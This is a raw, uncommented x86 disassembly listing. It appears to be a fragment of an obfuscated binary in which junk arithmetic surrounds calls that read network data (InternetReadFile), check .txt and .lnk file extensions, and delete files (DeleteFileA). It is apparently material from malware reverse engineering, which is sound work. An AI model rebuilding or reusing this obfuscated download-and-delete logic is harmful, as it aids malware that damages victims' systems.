mov dword [esp + 0x18], edx
mov eax, 0x7c32ca05
imul dword [0x43c0c4]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x18]
sub edx, eax
mov eax, 0x3e565a5f
mov dword [esp + 0x18], edx
imul dword [0x43c0b0]
sar edx, 0xe
mov dword [0x43c0c0], ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x18]
sub edx, eax
mov eax, dword [0x43c0bc]
imul eax, eax, 0xff3e
add edx, eax
mov eax, dword [esp + 0xc]
mov ebx, dword [esp + 0x1c]
sub edx, edi
add edx, eax
mov eax, dword [0x43c0cc]
add edx, ebx
lea eax, [edx + eax + 0x107ce]
mov dword [0x43c0bc], eax
imul eax, eax, 0xff3e
mov ebx, dword [0x43c0b8]
mov dword [esp + 0x18], eax
mov eax, 0x49f13bb3
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0xb4759
sub edx, eax
mov dword [esp + 0x30], edx
mov eax, 0x3e565a5f
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x30]
sub edx, eax
mov ebx, edx
mov eax, 0x3e565a5f
imul esi
imul esi, esi, 0x107d6
sar edx, 0xe
add ebx, edx
mov eax, edx
mov edx, dword [esp + 0x1c]
shr eax, 0x1f
add eax, ebx
mov ebx, dword [esp + 0x18]
sub eax, edi
add eax, ebx
mov ebx, dword [0x43c0bc]
add eax, edx
mov edx, dword [str._r_____r____]
lea eax, [eax + edx - 0x107d6]
mov edx, dword [0x43c0b0]
mov dword [0x43c0b8], eax
sub eax, ebx
lea ebx, [eax + edx + 1]
imul ebx, ebx, 0x17928
add ebx, esi
mov esi, dword [0x43c0c4]
mov eax, 0x3e565a5f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x4030a4dd
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
mov edx, dword [esp + 0x10]
add ecx, ebx
mov ebx, dword [esp + 0xc]
sub ecx, edx
sub ecx, edi
mov edi, dword [esp + 0x18]
add ecx, ebx
add ecx, edi
add ecx, esi
mov dword [0x43c0ac], ecx
call dword [sym.imp.WINMM.dll_timeGetTime]
mov edx, dword [0x43c0b0]
mov eax, dword [0x43c0b8]
lea esi, [eax + edx]
mov ecx, dword [0x43c0c0]
imul esi, esi, 0x17928
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x15b86ecf
imul dword [0x43c0c8]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov edx, dword [0x43c0c4]
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0ac]
sub ebx, eax
imul edx, edx, 0x94045
add ebx, edx
mov edi, dword [0x43c0bc]
mov eax, 0x3e565a5f
imul edi, edi, 0xff3e
imul dword [0x43c0c8]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub ebx, eax
mov eax, 0x4030a4dd
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [0x43c0cc]
add eax, ebx
mov ebx, dword [0x43c0b8]
sub eax, ecx
add eax, edi
add eax, esi
lea eax, [eax + edx - 0x84107]
mov dword [str._r_____r____], eax
mov eax, 0x49f13bb3
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0ac]
imul edx, edx, 0xb4759
sub edx, eax
mov dword [esp + 0x10], edx
mov eax, 0x3e565a5f
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
mov eax, 0x3e565a5f
mov ebx, edx
imul dword [0x43c0ac]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, ecx
mov ecx, dword [str._r_____r____]
add eax, edi
add eax, esi
lea edx, [eax + ecx - 0x107d6]
lea eax, [esp + 0x28]
push eax
push 0x4000
lea ecx, [esp + 0x50]
mov dword [0x43c0b8], edx
mov edx, dword [esp + 0x34]
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4023b0
mov edx, dword [0x43c0c0]
mov esi, dword [0x43c0b0]
mov ecx, dword [0x43c0bc]
lea edi, [ecx + esi]
imul ecx, ecx, 0x7f9f
mov eax, 0x49f13bb3
imul edi, edi, 0xbc94
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x43c0ac]
mov edx, eax
imul edx, edx, 0x83eb
add edi, edx
add edi, ecx
mov ecx, dword [0x43c0c8]
add ecx, eax
imul ecx, ecx, 0x8386f
mov eax, 0x7c32ca05
imul esi
sar edx, 0xf
lea ecx, [ecx + edi*2 - 0x17928]
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x3e565a5f
imul ecx
mov ecx, dword [0x43c0b4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4030a4dd
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [esp + 0x14]
sub esi, ecx
push edx
mov dword [0x43c0b4], esi
call fcn.00416528
add esp, 4
mov eax, 3
mov ecx, dword [esp + 0x404c]
call fcn.00415ffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x43c0b8]
imul ecx, ecx, 0x94046
imul edi, edi, 0xff3e
add eax, edx
imul eax, eax, 0x17928
mov dword [esp + 0x10], eax
mov eax, 0x49f13bb3
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
mov dword [esp + 0x10], edx
mov eax, 0x49f13bb3
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
add edx, ecx
mov ecx, esi
imul ecx, ecx, 0x8386f
add edx, ecx
mov dword [esp + 0x10], edx
mov eax, 0x7c32ca05
imul dword [0x43c0b4]
mov eax, dword [esp + 0x10]
sar edx, 0xf
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0x3e565a5f
imul esi
sar edx, 0xe
mov esi, dword [esp + 0x14]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x3e565a5f
imul dword [0x43c0b0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
add eax, edi
push esi
mov dword [0x43c0cc], eax
call fcn.00416483
push esi
call fcn.00416528
mov edx, dword [0x43c0c0]
mov ecx, dword [0x43c0bc]
mov esi, dword [0x43c0b0]
mov eax, 0x49f13bb3
imul edx
lea edi, [ecx + esi]
imul ecx, ecx, 0x7f9f
imul edi, edi, 0xbc94
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x43c0ac]
mov edx, eax
imul edx, edx, 0x83eb
add edi, edx
add edi, ecx
mov ecx, dword [0x43c0c8]
add ecx, eax
imul ecx, ecx, 0x8386f
mov eax, 0x7c32ca05
lea ecx, [ecx + edi*2 - 0x17928]
imul esi
sar edx, 0xf
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x3e565a5f
imul ecx
mov ecx, dword [0x43c0b4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4030a4dd
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov dword [0x43c0b4], esi
mov esi, dword [ebp + 0xc]
push str..txt
push esi
call fcn.004166d0
add esp, 0x10
test eax, eax
jne 0x402ff8
push str..TXT
push esi
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x402ff8
push str..lnk
push esi
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x402ff8
push str..LNK
push esi
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x402ff8
mov edi, dword [0x43c0b8]
mov eax, 0x49f13bb3
imul dword [0x43c0c0]
sar edx, 0xe
mov ecx, edx
mov esi, dword [0x43c0ac]
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0b0]
lea ebx, [edi + edx]
mov eax, 0x49f13bb3
imul ebx, ebx, 0x17928
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, esi
imul edx, edx, 0xb4759
add ebx, edx
mov eax, 0x3e565a5f
imul edi
mov edi, dword [0x43c0bc]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3e565a5f
imul esi
sar edx, 0xe
add ebx, edx
mov eax, edx
mov edx, edi
imul edx, edx, 0xff3e
shr eax, 0x1f
add eax, ebx
add eax, edx
mov edx, dword [esp + 0x20]
sub eax, ecx
cmp edx, 0x14000
mov ebx, eax
mov eax, dword [str._r_____r____]
lea ebx, [ebx + eax - 0x107d6]
mov dword [0x43c0b8], ebx
jae 0x403150
mov edx, dword [0x43c0b0]
lea ebx, [eax + edx]
mov eax, dword [0x43c0c0]
imul ebx, ebx, 0x17928
mov edx, dword [0x43c0c4]
add edi, eax
imul edx, edx, 0xdd94
imul edi, edi, 0xff3e
add ebx, edi
add ebx, edx
mov eax, 0x49f13bb3
imul esi
imul esi, esi, 0x94045
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3e565a5f
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0cc]
imul edx, edx, 0x106d4
add ebx, esi
sub ebx, eax
sub ebx, edx
sub ebx, ecx
sub ebx, 0xff3e
mov dword [0x43c0c0], ebx
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 3
mov ecx, dword [esp + 0x404c]
call fcn.00415ffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x43c0c0]
mov ebx, dword [0x43c0b8]
mov edi, dword [0x43c0bc]
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov ecx, edx
mov eax, ebx
imul eax, eax, 0x107d6
mov dword [esp + 0x1c], eax
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0b0]
mov esi, edi
sub esi, edx
imul esi, esi, 0xff3e
mov eax, 0x15b86ecf
imul ebx
sar edx, 0xd
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov esi, eax
mov eax, 0x15b86ecf
imul dword [0x43c0b0]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x15b86ecf
imul dword [0x43c0b4]
sar edx, 0xd
add esi, edx
mov eax, edx
mov edx, dword [0x43c0c8]
imul edx, edx, 0x8386f
shr eax, 0x1f
add eax, esi
add eax, edx
mov esi, eax
mov eax, dword [0x43c0b4]
imul eax, eax, 0x106d5
add esi, eax
mov eax, dword [esp + 0x1c]
sub esi, ecx
lea edx, [esi + eax + 0x79ea]
cmp dword [esp + 0x20], 0xa
mov dword [0x43c0c8], edx
jae 0x403148
mov eax, dword [0x43c0b0]
imul edi, edi, 0x796
mov esi, dword [str._r_____r____]
add esi, eax
mov eax, 0x49f13bb3
imul esi, esi, 0x17928
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0c4]
sub esi, eax
imul edx, edx, 0x8386f
add esi, edx
mov eax, 0x7c32ca05
imul ebx
sar edx, 0xf
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
sub eax, edi
mov esi, eax
mov eax, 0x3e565a5f
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4030a4dd
imul ebx
sar edx, 0xe
mov eax, edx
add esi, edx
shr eax, 0x1f
add eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x1c]
lea edx, [eax + ecx - 0x107d6]
mov dword [0x43c0c4], edx
jmp 0x402fd6
mov esi, dword [0x43c0ac]
jmp 0x403156
mov edx, dword [0x43c0c8]
lea eax, [edx + esi]
imul esi, esi, 0x8386f
imul edi, edi, 0xff3e
mov edx, dword [0x43c0b0]
imul eax, eax, 0x107d6
add ebx, edx
imul ebx, ebx, 0x17928
add eax, ebx
mov dword [esp + 0x10], eax
mov eax, 0x49f13bb3
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
add edx, esi
mov dword [esp + 0x10], edx
mov edx, dword [0x43c0c4]
mov eax, 0x7c32ca05
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
mov dword [esp + 0x10], edx
mov eax, 0x3e565a5f
imul dword [0x43c0b0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
add edx, edi
sub edx, ecx
mov ecx, dword [0x43c0cc]
lea edx, [edx + ecx + 0x107ce]
mov ecx, dword [esp + 0x404c]
mov dword [0x43c0bc], edx
xor eax, eax
call fcn.00415ffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret